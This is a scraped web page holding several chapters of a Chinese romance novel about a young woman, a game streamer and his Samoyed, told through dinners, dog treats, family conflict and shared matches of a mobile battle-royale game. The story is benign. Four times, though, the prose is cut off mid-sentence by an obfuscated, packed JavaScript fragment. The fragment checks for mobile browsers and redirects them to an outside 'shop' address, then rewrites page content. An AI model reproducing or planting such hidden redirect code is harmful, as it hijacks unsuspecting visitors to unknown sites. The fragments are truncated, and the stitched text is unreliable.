d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564603|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解的目光,应之珏挥了挥手让应之王去睡觉:“没你事儿兄弟,哎呦我去,太有乐子了。我号至少晚上十点半才能玩,明天晚上哥带你去外面吃点儿好的,咱哥俩搞个烛光晚餐怎么样?” 他给刚刚搜到的某书上广受好评的宠物友好餐厅点了个收藏,决定趁这个时间带着应之王出去逛逛。 …… 姜满和父母从舅舅家回来,本想早早入睡,却收到了小姐妹的消息:“明天出去吃点漂亮饭怎么样,我正好没课。” ——这个小姐妹便是姜满从初中以来的游戏搭子,郝瞳,吃鸡手游元老级开服玩家,陪着姜满一年年打过来的,即使高中住校,她也会在回家的小小间隙中和姜满来上两把过过瘾。后来姜满去了外地上学,郝瞳留在本地,两人也从来没有断了联系。 “漂亮饭?瞳姐还能想起来宠幸我呀,怎么不叫你对象?”姜满嘴上这么吐槽,实际上心里已经美得不行了。 郝瞳的回复也没让她失望:“李书阳算个球!漂亮饭当然要和漂亮妹妹吃了,不然白瞎了。” “那好吧,那我就勉为其难地答应了。” 实则姜满已经开始搜索明天要化什么妆搭配什么发型了。 次日傍晚,两人如约在郝瞳选的餐厅会面。 “我天你手啥时候这么巧了,这小发型,超级可爱。” 郝瞳用手指戳戳姜满的低低的双花苞丸子头,从中抽出的发丝微微凌乱更是恰到好处。 “当然啦!知道姐姐好不容易翻我牌子,当然要精心打扮了。我靠我跟你说,我昨天晚上提前试了试,扎了足足一个小时才学明白……” 两个人还是不见面则已,一见面就有聊不完的话题。 但很快她们就被别的东西吸引走了注意力——这个餐厅有三分之一的客人都不是人类,而是各类品种的小狗,端坐在椅子上,和平常的食客无异。这也是郝瞳一开始选这家餐厅的原因之一,宠物友好,谁不想看着萌物进食啊! “不过咱俩没带狗狗来,会不会显得有些格格不入啊?”姜满边嚼着新鲜出炉热热劲道的披萨,边说出自己的顾虑。 “这咋了!宠物友好,又不代表不带宠物就不能进了。”郝瞳也和她一样,边嚼嚼嚼边说话。 姜满脑子转的快,想到啥就说了啥:“你说得对,不过我心里还是有点奇怪。下次叫你对象一块吧,咱仨来,你们就有我这个狗了。” 她说罢,把两只手弯曲搭拉在脖子前,像爪子一样,转过头来吐着舌头装作小狗逗郝瞳笑。 俩人笑作一团。 可是很快姜满的笑便凝固住了——她看到了门外牵着应之王走进来的应之珏,两人目光一下子就对视上了,而姜满的舌头还没收回来,仍旧是一副傻狗讨笑的蠢样。 应之珏一开始没有注意到她,是应之王嗅到了姜满的味道,拽着他直直朝这个方向走来,他一抬头才发现这个和应之王露出了同款表情的女孩,好像有点眼熟? 8. 反差 没一眼认出来倒也正常,两人许久未见,并且今天的姜满和他之前见过的完全是两模两样——眼前的女孩笑得放肆,不是他印象里礼貌又客气的模样。 眼睛眯成弯弯的一条缝,虎牙毫无保留地暴露出来。粉嫩的脸蛋和浅浅的口水色口红,没有浓妆艳抹,在这个店柔和的灯光下,活脱脱就是一块小蛋糕来的。 不过在应之珏眼里,更形象的描述应该是——像和平精英里推出的洋娃娃皮肤一样。 其它座位上的小狗都好奇地看着新来的这位毛绒绒的庞然大物,有个小泰迪甚至蹦下来想主动和它打个招呼。 可是这次应之王没有被路上的任何诱惑所阻挡,继续直直地向姜满走去,用狗头开始蹭她的腿,还扒着椅子想要姜满抱它。 郝瞳惊讶地指着这只投怀送抱的萨摩耶拍姜满:“哇塞姜满你看,它好像和认识你一样呢。” 姜满连忙捂住脸暗自调整着表情。 ……怎么办,自己吊儿郎当地和心选哥打了个照面。再也不在公共场合搞抽象了,别人真把自己当弱智了可如何是好。 直到那个熟悉的声音:“好巧。应之王和你真是有缘。” 姜满才从懊恼中回过神来,不再躲避,抿着嘴尴尬笑笑,“是呀,确实很巧嘿嘿嘿……” 应之珏没再打扰,扯着应之王的耳朵就把它带到隔着一桌的位置坐下了,还特地是背朝着她们——他怕面对着面让姜满她们不自在,更怕自己看见姜满,忍不住想起游戏对局里的趣事而笑的吃不下饭。 郝瞳目瞪口呆地看完他俩对话,直至应之珏在不远处坐定她才抓住身边的姜满开始拷问:“你俩认识?” 姜满撇撇嘴,“你问的是他”, 她伸手指指应之珏清冷的背影, “还是它?” 又指了指并肩和应之珏坐着但频频回头看她的应之王。 郝瞳疑惑:“难道你是只认识其中的一个,不认识另一个?” 姜满耸耸肩回答:“不是啊,我都认识。” 郝瞳无语了,这个姜满从小就爱搞这种冷你一下的笑话,这么大了依旧没有长进。 “那你不直接说,神经吧!” 见郝瞳被她激怒,姜满忍不住漏出了得逞的笑。 “怪不得那狗和你熟呢,因为你比它还狗,你个臭姜狗。我不会原谅你了,除非你把事情来龙去脉给我讲清楚。” “讲讲讲,讲讲讲,别生气嘛。” 姜满摇着郝瞳叉着腰的手臂央求着,然后讲述了一遍两人一狗充满戏剧性的相识。 “是不是很像编的……非常神奇是吧。” 郝瞳点点头,忍不住开始助攻:“这不是神奇,这就是缘分啊!满子,这你不得把握把握。” 姜满挠挠头,“得了吧,我自己的生活现在还是一团糟,前路渺茫呢,不想费心思琢磨些根本就不懂的情情爱爱了。” 她这番言论引来了郝瞳的白眼,这位母单朋友她可真是了解的透透的,什么嫌不嫌麻烦的,都是说辞借口罢了,实际上她就是一个不敢向前踏出一步的回避型胆小鬼。 “好吧,你不想就不想,我们聊点别的。对了,昨天你举报成功没?” 姜满点完举报跟郝瞳说了一声后就把这回事给忘了。 “啧,我也不知道,我看看我弟有没有把号顶了吧。” 她打开游戏,果然还是自动登上了表弟的账号。 这小子,看来是手机被彻底封箱了。 姜满想着,心中不免对他产生一股悲悯之情。 她点开邮件通知栏,真的有官方系统发来的反馈:“收到您的举报,我们已对此玩家进行了二十四小时封禁,感谢您对维护公平和谐网络环境作出的贡献。” 郝瞳笑得张牙舞爪的,大声地、一字一句地念出了邮件上的内容,引起了餐厅里众人的注意。 “哎呀你小点声!” 姜满赶紧制止她太过于放纵的喧哗,可是已经晚了——另一位当事人已经听到了这信件的全部内容,简单一串联,就能推断出姜满便是令他此时此刻无法坐在家里直播的罪魁祸首。 应之珏手下没把持好力气,刀叉在瓷盘中划出了刺耳的响声,把应之王吓得哆嗦了一下。 他轻轻拍着应之王的背安抚它,心里却暗暗地说:“原来是你这个丫头干的。真是知人知面不知心,最毒妇人心。” 他提起耳朵来,开始集中注意力捕捉姜满和郝瞳聊天中的细节。 应之珏听到姜满不好意思地向郝瞳解释:“这个举报这么不人性化吗,其实我只是为了出出气来着,我感觉对面应该就是纯纯的高手,是我自己太菜了,没想到害得人家被罚了。怎么办,我好愧疚啊,不该图一时爽快背后捅刀的。” 应之珏手上给应之王喂着饭,傲娇地在心底哼一声。 “哼,算你还有点良心,有一点你算是说对了,我就是纯纯的高手。” 看在姜满不是故意的份上,他就这样提取关键词,把自己给哄好了。 不过又出现了转机。 郝瞳不想让好姐妹心里负担太重,知道她容易多想,于是大大咧咧地劝解道:“这有什么愧疚的,他就是仗着你明他暗欺负你嘛!要我说,二十四小时还是封少了,因为他伤害了一个好久不玩并不熟练,还是单人作战的可怜小女孩的心!” 姜满被郝瞳这副义愤填膺的模样逗乐了,哎,还得是她,不管自己做的是对是错,完全就是一个抛却客观意识,纯主观无条件支持。 所以她也不能败坏了兴致,于是附和起来:“你说得对!就是他活该!” 一旁的应之珏一脸黑线,刚捂热的心此刻又被一盆冰水浇了个透心凉。 ……不是,这小姑娘家家的,怎么还有两副面孔? 姜满和郝瞳吃得差不多了,准备去商场里面逛逛。出门时姜满试探性地回了下头,没想到应之珏也刚好抬头,她便自然地微笑着点点头摆摆手道别。 应之王嗷嚎了两嗓子欢送她,可应之珏看起来心情不太妙,只是礼貌性地点了点头,也没笑,活脱脱蜕变成了一个阴郁美少男。 ——他是真的心情复杂,笑不大出来。没想到自己有朝一日竟成了小女孩们蛐蛐的对象。 “哥哥是不是很无辜啊,应之王,”他揉着它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564604|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的腮帮子诉着苦,“你也觉得我很可怜是不是?还是觉得我活该?” “不过你估计会向着她吧?毕竟要不是直不了播,我晚上也没这么长时间的空能陪你慢慢吃顿好的。好吧,也算是因祸得福咯,我们不怪她。” 应之珏超绝好心态,记仇对他来说只有一秒钟和一分钟的区别。 应之珏越来越觉得姜满不像外表上那样呆呆乖乖的,其实她很有主见,还有点儿贱贱坏坏的。 他数着秒等待账号解禁,不料还是没有任何进展。实在闲来无事,他给应之王拍了个短视频,对着它萌萌的大脸就是一个让人摸不到头脑的全方位无死角运镜,发布在了账号上。 关注应之珏、坐等他解封归来开播的粉丝一下子收到更新提示,还以为是他发了请假通知。怀着忐忑的心情点进去,一张白白胖胖的大脸就这样挤满整个屏幕。 所有人都没想到哥哥不留余地居然会主动分享现实的生活,评论区瞬间被引燃了: “究竟是谁又惹哥哥高兴了!” “萌萌萌好萌一只,哥哥你笑起来也和它一样可爱对不对?” “我去老哥你被盗号了吧?” “我点进主页对照了三遍才敢相信这不是高仿……” “好看,爱看,求多发!” …… 这条视频引起了剧烈的讨论,更有甚者开始造谣,哥哥不留余地是因为昨天被封了,所以道心破碎决定就此转战到宠物博主赛道。 好像他再不直播的话,有人说他是回家生孩子去了也不是没可能的事儿。 所以他回家后卡着十点半解封的时间就立刻登上了账号。 “家人们,我余汉三又回来了。” 他已经按捺不住继续上分的渴望,立马开启对局。 弹幕有劝他别太过分,要留有余地,不然再被封了可咋办。 还有的继续追问今天发生了什么让他大转性,以后能不能继续多发他们家这只萨摩耶。 应之珏便操作边见缝插针地回应:“放心吧,我话撂在这里了,要是和平精英再封我,我就转战瓦或者洲。今天……今天没发生啥,以后爱看我就尽量多发。但是保证不了频率哈,只是说可能会发。” 姜满回到家后,开始回味起方才在餐厅吃的漂亮饭。 其实漂亮饭,不过也就是摆的漂亮,有些东西只是起到了个装饰的作用,对于口味并无锦上添花的作用。而且大多是不需要什么工夫和技巧的,她感觉自己在家也能复刻,去那种地方就是图个氛围而已。 所以,别人能开店,她为什么就不行呢? 姜满被自己这个突如其来的想法惊到了,随即又自洽——三分钟热度,这我熟啊,从小到大都多少回了,说不定过两天就忘了。 可睡觉的时候还是翻来覆去睡不着,一直在脑子复盘那一桌子的菜哪些是合她口味的,这些菜的原料和做法大概是怎样的;有哪些是可以改进的,需要删掉什么或是增加什么。 想到最后,把自己给想馋了。 大晚上黑灯瞎火明明应该是她emo的专属时刻,这次比泪水先流下的成了她的口水。 9. 误食 第二天一起床,她叫了个外卖,把家里平常没有的乳酪和黄油补充了一下,决定复刻一下昨天吃过的贝贝南瓜焗蛋和蜂蜜柠檬鸡。 店里的像是预制品,甜度没法调整,有点儿太甜了,属于是一口香,两口腻,三口就要吐了。姜满自己做的就刚刚好,焗南瓜有着浓浓的奶香味、蜂蜜柠檬鸡最表皮上也有一层焦焦的脆壳,最重要的是两者甜口的餐品,都能让人给出中国人最高的评价:“不甜”。 ——焗南瓜只用了南瓜的下部分当了小碗,带着南瓜把最上面的南瓜头没用上;鸡肉则是用了带着鸡皮的那一块,因为肉层太厚会有点柴,所以姜满也切掉了一些。有舍才有得,舍去了一些原材料,得到的是完美的口感。 不过剩下这些材料她也不想浪费。 有了!不然就做成狗狗零食送给应之王吧! 说干就干,姜满把边角料放上蒸锅蒸熟,然后又又用破壁机搅打混合到不分你我,最终把这些泥状物体用饼干模具塑造成型,放进烤箱又烘干了十分钟,就得到了干干脆脆的健康小零食。 当天傍晚,姜满浑身喷足了花露水,坐到公园长椅上蹲守。 夏转秋的交际之时,蚊子更是狠毒的没边了。她不怕找不到应之珏他们,因为她知道,只要他们出现在了这个公园里,应之王一定能嗅出她的味道,主动找到她。 哪怕整个人现在已经被花露水的味道腌入味了,她也有这个自信。 果不其然,姜满坐定还没一刻钟,就看到了熟悉的大毛团子向她扑来。 “……晚上好。”应之珏淡淡开口。 “晚上好!”姜满是对应之珏的回复,但是目光却是一直流连在应之王身上。这么乖乖萌萌的胖蛋,谁能拒绝它的攻势啊! “对了,我今天用南瓜和鸡肉做了小零食,要尝尝吗?” 应之珏以为姜满是在和他说话,于是礼貌地回应道:“谢谢,已经吃过晚饭了,不是很饿。” 姜满想,自己做了这些留着也没用,于是递给应之珏:“那你拿回去吧,依旧无添加,安全健康,放心就好!” 应之珏见她向他伸出的手上那一小包包装用心,形状可爱的饼干,想她一定做了很久吧,再辜负人家的心意就说不过去了。 他点点头,收下了。 又和应之王黏糊了一会儿,姜满怕耽误应之珏再有工作要忙,于是主动离开了,走的时候还不忘提醒应之珏:“别忘了让它尝尝好不好吃,喜欢的话我下次再做。” 应之珏心中突然升起一种异样的感觉——这么喜欢狗狗的、狗狗这么喜欢的女孩,还有耐心会把饭做得好看又好吃的女孩,心思能坏到哪里去呢? 于是越发地把被举报的不愉快抛却在脑后了。 回家给应之王摘下胸背、添上水,应之珏又开启了直播。等着匹配进入对局的时间,他顺手拆了个姜满做的饼干吃。 “倒是挺有嚼头,感觉硬硬的能磨牙。不过味道有些淡呢,不仅没放添加剂,连调味都没放吗?” 应之珏边“嘎嘣嘎嘣”地嚼着,边不由自主地评判:难道她是故意保留食材的本味吗,可是这还有点腥味呢,完全不像是她的正常水准啊。 应之珏不理解但尊重,想着姜满这么做一定有她的道理,于是又吃了几块直至跳伞。 ……应之王狂叫两声然后歪着头盯着被吃了一半的饼干,有苦说不出。 “咋了弟弟?偶对,人家确实说了让你尝尝的,等我打完这把喂你哈,别急。” 这把对局结束,应之珏拍了张应之王嘎嘣嘎嘣嚼的视频发给姜满,并表示感谢:“谢谢啦,这倒是符合应之王胃口。” 姜满秒回:“当然了,本来就是为它量身定做的呀,狗狗就应该多吃点这种能磨牙的,所以我特地放烤箱里烘了烘。” ……? 应之珏突然发觉了不对劲——等等,什么叫“本来就是为它量身定制”,什么叫“狗狗就应该多吃”…… “这是,你送给应之王的?” 姜满不懂他为什么问这显而易见的问题:“?有什么问题吗?” 应之珏面色复杂地看向喜怒不形于色的应之王。 怪不得应之王刚刚反应这么大呢……他还得感谢应之王越来越懂事,一点儿也不护食呢。 姜满迟迟收不到回复,不知道自己说错什么话了,正疑惑呢,应之珏终于又说话了。 “……没事,我误食了一点。” 应之王幽怨地看着他:这是一点吗!你说着味道一般不还是嘎嘣嘎嘣吃完了半袋子! 可惜它不会说人话。 姜满要笑晕过去了。 这哥们儿怎么还抢人家小狗吃的。 她回复:“怪我怪我,没说清楚。下次也给你做点别的。” 应之珏有点难受。自己只是顺带的吗?原来都是沾了应之王的光。 算了,不想这么多,再不赶紧在直播间说一句话,估计粉丝们都以为他掉线了。 没有了上课所安排控制的时间,姜满多少有些无所适从。她决定和表姐苏越聊一聊。 姐姐什么事都走在她前面,她所经历的一切少女心事姐姐都曾经也苦恼过,姜满觉得苏越是最最能理解她的人了,所以有什么鸡毛蒜皮的小事都要和姐姐说。 “我休学一年,本想着做一番大事业呢,结果发现这一两个月又是一眨眼就过去了。你说我不会一年以后,还是像现在这般,然后白白浪费了一年吧。” “满满,你能有这个自己去改变的想法已经比我要强了!我当初上大学也是生不如死呀一天天的,你跳出了这个怪圈,姐姐要表扬你。” 苏越继续安抚道:“至于你说的怕‘白白浪费’,我觉得更不用担心了,你看你姐我,这不毕业了也还在家里啃老吗。别人不知道,但是我知道呀,就业形势确实是不好,我这毕业了的都还在靠你姨妈给我发生活费呢,你个没毕业的小宝宝,就不要想这么多啦。多尝试,多探索可能性,有什么需要帮助的,告诉姐姐,姐姐帮你。” 姜满听得心软软的,果然表姐永远不会和家族长辈同流合污地push她,淋过雨所以也愿意给她撑伞。 所以她勇敢地说出了自己的想法:“如果我说,我不想给任何人打工,我想自己开店创业,你觉得,可行性大不?” 苏越整个就是一个大支持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564605|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“怎么不行呢?但是满满你前期一定要做好调查,不能头脑一热,把钱砸进去了以后再想细节。让我猜猜你想开什么样的店,我觉得你这个老吃家,不开个简餐店真是可惜了!” 姜满觉得苏越简直就是她肚子里的蛔虫。“我靠,你咋知道我就是这么想的?” “知满者,姐姐也。你先好好想想,如果到时候需要开业资金的话,找我,我和你姐夫决定二话不说无偿投资!” 得到了表姐的鼓励,姜满心底的那颗种子像是汲取了养分,在此刻彻底破壳开始生根发芽。 她迫不及待地想要寻求父母的支持,最主要的是向他们展示自己有了想要做的目标,不会在这一年里面虚度光阴。 她脱掉拖鞋走上沙发,从背后抱住正在看电视的姜母,一股脑地把自己的想法都说了出来。 姜母只觉得她又是一时兴起,没当回事儿,只是问她是不是又饿了,要不要弄点宵夜吃。 “妈妈!我是认真的,我想自己开个小餐馆,自己当自己的老板。”姜满嗔道。 一旁的姜父先发出反对:“那你这么多年学不是白上了?孩子,别把创业想的这么简单,看人家想做你就也想做。你要是现在闲的没事,就开始学考公考编的内容呗,别整天瞎想了。” 姜母也认同姜父的观点:“是呀满满,学学你姐姐,耐得住性子,沉下气来。而且妈妈觉得你比你越越姐姐要聪明,还这么漂亮,努力学学,肯定能考上稳定的工作。” 姜满感到十分挫败,不满地反抗道:“我把创业想得太简单,难道你们就没有把考公考编想得太简单了吗?要是真这么容易,姐姐也不会在家待业这么久了。妈妈,只有你觉得我聪明又好看,实际上外面比我聪明比我好看的人多了去了,这根本就不能成为我有一份稳定工作的优势!” 姜满辩驳得有些上头,说话语气急了起来,引得父亲的不悦:“怎么说话呢满满。爸爸妈妈这也不是没逼你吗,你想休学这不是也让你休了。要是知道你一回家又开始没事找事,就不答应你这无理的要求了。” 姜母和姜父统一了战线:“满满,不管怎么样,先和你姐一样,考两年试试。你姐就没像你这么着急呢!” 姜满实在是忍不住了,不吐不快:“姐姐耐得住性子,是因为姨夫姨妈不给她压力,不会翻旧账,和你们一样一有点事就说‘当初就不该听你的’这种话,也愿意一直养着她。但是你们呢,嘴上说着对我多么多么好,实际上总是左右脑互搏,说的和做的不一样,搞得我也不知道你们到底想干什么,” 姜满收了收眼泪,继续输出:“姐姐愿意一直考编是因为这是她选择的路,就算今天是她要选择创业,姨夫姨妈肯定也会二话不说地支持她、托举她、拼尽所有给她需要的一切。” 姜母还是听不进去,只是说:“所以我们都觉得你越越姐姐懂事啊,你看她就不会提出你这样无理的想法。” ……姜满彻底无语,她口干舌燥,升上一股浓浓的绝望感。 为什么永远都是驴唇不对马嘴,究竟是她说不清讲不明白,还是父母听不懂,亦或是他们根本就不愿理解或是妥协,所以才故意避重就轻? 10. 玩狙 姜满无力地笑笑,不想多说了。 自己三分钟热度何尝不是拜他们所赐呢。 小时候想要学吉他,爸爸妈妈怕她学一阵就不想学了,于是网购了把两百块的让她自己学,说是网上有教程。 可是她又不是罕见的天才,怎么能学会呢,于是音还没调准便被搁置了。回过头来,父母还要说她的不是。 仔细想想这样的事情在姜满这二十年的人生中好像已经出现了无数次,姜母夸着她聪明,她好像真就被这么骗了,自得地接受着父母没有对她全心全意地投入一切。 她知道家里不是穷得揭不开锅,只是没有什么投资的远见,也没有享受生活的仪式感,只觉得活着就行了,能维持生命就行了,姜满的生活已经很幸福了,还能用什么不知足的呢? 她转身没回一句话,直接走进卧室锁上了门。 “砰”的一声,姜满的心房也随之封锁了起来。 说实话,她不是不能接受父母的否定,她只是不能接受父母事事都要拿她和表姐比,她只是不能接受父母不问缘由不听细节的直接否定。 ……无所谓,那就在家赖着吧。 她现在急需找个渠道发泄自己的情绪,游戏瘾又上来了,于是她发了个微信问郝瞳:“玩不玩跳伞模拟器?” “满子,真是不巧了,我和你瞳夫在外面玩呢……” 姜满没再把她的语音条听下去,直截了当地回复:“明白,懂,没事!不过你没和我一块玩的话,小心下次再登号,就发现我已经比你高出整整一个大段位了!” 姜满不想扰郝瞳的甜蜜约会,以前约好了时间郝瞳都不会鸽她的,这次是她没打招呼就作出的要求,自然不能强求人家事事以自己为先,这点儿小道理她还是懂的。 自己打害怕的话,要不然随机进个招募队? 和平精英的招募生态简直是闻名于世,各大游戏都比不过它生成的笑料:卡KD、卡段位倒也正常,卡穿搭、卡声音也能接受,后来直接演变出卡年龄、卡ID、卡性别、卡头像、卡全家…… 姜满刷短视频看到这些,都不知道究竟是玩梗还是真的。卡来卡去,她都想直接接上一句“卡卡我的小揪揪”然后转战蛋仔派对了。 想了想,还是不敢打单排。 那怎么办,总不能叫表弟陪她玩吧? 她登录游戏,却发现表弟的账号存留在她的手机上自动登录了——这意味着表弟至今为止还没能从他自己的手机上登录。 啧,有点惨了。 姜满把他的号退了出来,改用自己的微信号。 五秒后,ID“人机妹”上线了。 说起来这还是她和郝瞳的闺蜜名呢,当时两人以随便开一局比淘汰数的方式定胜负,很遗憾,姜满略输一筹,于是只能改了这个郝瞳挑剩下的ID,而郝瞳的ID则是“战神姐”。 她一上线,便收到了组队邀请,鬼使神差的点了同意,进入队伍之后才发现对方ID后面带着的括号内的微信备注:王之兄应之珏。 姜满完全没有注意到这个曾让她有复杂情绪的ID“哥哥不留余地”,只注意到应之珏主动邀请了她。 另一边应之珏也不知道自己是不是突然被鬼上身了,为什么一碰到和姜满有关的,自己引以为傲的反应力总是会失灵。 就比如说现在,他看到弹出的微信好友上线提示,眼疾手快地就点了邀请组队。 姜满看了看应之珏的标,又看了看自己的,打开麦克风弱弱的开口:“你点错了?没事我自己退……” 比应之珏先回应的是弹幕老师们:“余地居然开始带妹了?声音好甜,你忍心踢她吗!” 应之珏将错就错,打一把也没什么的,正好这样更能凸显出他的实力来了。 “没事,打一把吗?” 姜满主动让步:“那我们不要打排位了,打匹配吧,我害怕。” 姜满害怕进入排位局被吊着打出丑,更怕的是把应之珏的KD给拉低了——她见过的男生大多很在意游戏中的数据,她下意识地觉得应之珏也是这样的人。 “好。” 两人很快匹配进了地图中。 弹幕炸开了花: “是我的错觉吗,怎么余地哥话突然变少了?” “不仅如此,语速还变慢了。” “恕我直言,声色怎么也好似变得更有韵味了一些呢~” “是错觉,都是错觉。你听我现在嘴够快吧?有韵味是因为老了,男人越老越有韵味。” 应之珏依旧一一回击,但是今天出的纰漏着实有点多——他说这些话的时候没有关闭队内语音。 听着应之珏回答的姜满:? 这哥们是梦到哪句说哪句吗? 她有点犹豫到底需不需要回应,回应的话又该如何回应,就这样思索中,沉默了良久。 直到目光再一次掠过评论区,看到提醒,他才意识到刚刚发生的一切。 应之珏顿时红温了。 平常打游戏打得再上头,脸颊也没有如此猛烈的炽热过。 “那个,”应之珏清了清嗓子,“人机妹你过来一下,我这有俩肾上腺素,还有一个医疗箱,放地上了,给你标点了。” 姜满一愣。 他怎么知道自己比起备子弹,更喜欢囤药? 一背包药品的安全感是其它任何都比不上的。 不过他为什么叫自己ID不叫真名啊? 姜满想了想,好像她和郝瞳也经常互叫ID,这也不是个多么奇怪的事情,那就还是入乡随俗吧。 可是应之珏的ID太长了,她就简略取了前两个字:“好的,我捡了,谢谢哥哥。” 这一嗓子哥哥差点没让应之珏从椅子上摔下来,他的电竞椅猛得一抖,滑轮差点把应之王的尾巴毛卷进去。 直播间里的众人看热闹不嫌事大,纷纷重复起来: “哥哥哥哥~” “谢谢哥哥~” 应之珏深吸一口气,平复自己过快的心率。 此刻他们前方跑过来的一个小小人机成了救命稻草。 应之珏给她精标了敌人的位置,出声叫她:“这里有个人,你来打吧。” 姜满也没让他失望,两枪头直接送走了他。 弹幕一片了然于心的模样:“怪不得余地哥难得一见地带妹呢,原来是妹妹嘴甜枪又准!” “妹妹就打了个人机你们就夸上枪准了!我平常杀这么多也没见你们总夸我,反倒是不小心失手一次就开始嘲笑我。” 直播还没下呢,应之珏自然还是得顾及和直播间的互动,不过这次他没忘了把游戏内的麦提前给关掉。 两人搜完这个房区,没遇到几个人,于是应之珏便准备开着载具带着姜满去其它地方搜搜。 不料姜满先打断了他:“等一下,你看看有你需要的吗?” 话音未落,她扔在地上一堆东西,互相堆叠在一起,有些都穿模了:可以透烟的战术瞄准镜、M24狙击枪、枪口等各种配件。 之前和郝瞳一起玩的时候,姜满搜到好用的狙击枪相关物件也是习惯性地先给她,因为感觉郝瞳打狙更厉害一点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564606|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以碰到应之珏这种高手,她自然而然地也主动献出了这些,希望能助力他发挥得更好。 应之珏突然有些心软软,问她:“为什么要给我,你不喜欢玩狙吗?” 姜满实话实话:“肯定还是你比较厉害,我用什么枪都一个样,所以给你好啦。” “打狙我有两不打。一,不打移动靶,因为我打不中;二,不打站着不动的,因为一般也是狙,能打中的话说明我也快要被打中了……” 姜满的自嘲里带着些不好意思,反而让应之珏下定决心让她感受到狙击枪的魅力。 “我不要。”应之珏控制手中的角色左右摇了摇,示意拒绝,还把自己的托腮板卸下来给她扔地上了。 姜满听他的话,呆呆地又把所有东西都捡了回去。 “放心吧,我教你,等着我给你调调灵敏度还有其它设置,玩不好狙,算我的。” 这句话格外地令人安心并且格外的有哥感啊。姜满对着屏幕傻笑起来,全然忘记了方才与父母的不快。 弹幕老师此时也都变成了柠檬精,阴阳怪气地调侃着:“这样哄孩子的话,你何曾对我们说过……” 应之珏不惯着他们:“别跟哥在这瞎扯啊,那些设置我不是早就给你们发过了,自己手懒不改怪谁。” 然后又开启了游戏内语音指导姜满:“你右前方,不,转过了,在左十度左右,对,不要动。看见他没?他一直在跳,你在他站着的时候瞄准他的头,好了?没关系,你不用躲,对不过他也没事,有我呢。OK,我说一的时候你就立刻开枪……一!” 姜满不敢掉链子,毫不犹豫地打了出去,仅此一枪,淘汰栏便出现了:人机妹用M24击倒了爱你不是我的错。 “好玩不?”应之珏得意地轻笑了一声,“我说狙击枪,好玩吧。” 姜满成就感爆棚了,实话实说:“好玩,我喜欢。” 此后两人一路上过关斩将,因为是匹配,不需要太多的意识,人也往往是平均分配,没有扎堆的。 所以应之珏往往就是先爬到个高处在四周找到人,然后给姜满标好点,再指导她瞄准的位置。 不到迫不得已的情形,他是一枪也不开,把人头全给了姜满。 最后两人也是顺利地吃了鸡,姜满还拿到了此生未见的十五个人头。 吃鸡的冠军队伍在对局结束后,可以召唤空投,然后举杯庆祝。 应之珏往往是看都不看就直接退出开启下一把的,此时却和姜满留下来一起捧起了奖杯。 姜满截了个图,脑中突然配上了BGM: “你在左边,我紧靠右,第一张照片,不太敢亲密的……” 停停停,一局游戏还给你打上头了,能不能别这么没出息! 姜满拍拍脑袋把这曲子赶了出去。 应之珏关闭手机投屏,打开微信给姜满发了条消息:“今天太晚了,你早休息吧。如果看到你上线,我会邀你的,放心玩狙就好。” 他知道姜满估计不会主动约他,于是抛下个橄榄枝,说自己只要看到她上线就会和她一起玩,这样也避免了尴尬,碰上了就正巧,碰不上也不用刻意预约。 许是觉得自己这样有点太直接,他又附了句话来掩盖:“当做是补上应之王的赎金了。” 应之王眨眨困倦的眼睛:?又关我什么事了。 直播间里的粉丝对着黑屏发起了牢骚:“什么是我尊贵的哥哥不留余地的会员不能看的?” “行了,”应之珏后台把微信退了,重新打开投屏,“继续上分。” 11. 躺尸 以前有人开高价点名要应之珏当陪玩,他没理会。应之珏也不明白,今天怎么自己就心甘情愿干了陪玩的活? 而对姜满来说,她本来是想打一把游戏发泄一下情绪,逃脱出现实世界的。怎么反而心情更复杂了一点呢?姜满也不明白。 至于给自己爪子舔着毛的应之王…… 算了,它应该更不明白。 姜满晚上胡想八想,自己都不知道什么时候才睡着的。 第二天睁眼已是下午,爸妈早就已经都去上班了,炒了盘鸡蛋、煎了个手抓饼摆在桌上给她当早饭,旁边还放了个小碗盛满了刚洗好的蓝莓。姜满抓了几个送入口中,脆脆甜甜,一尝就是早市上最新鲜的那一批。 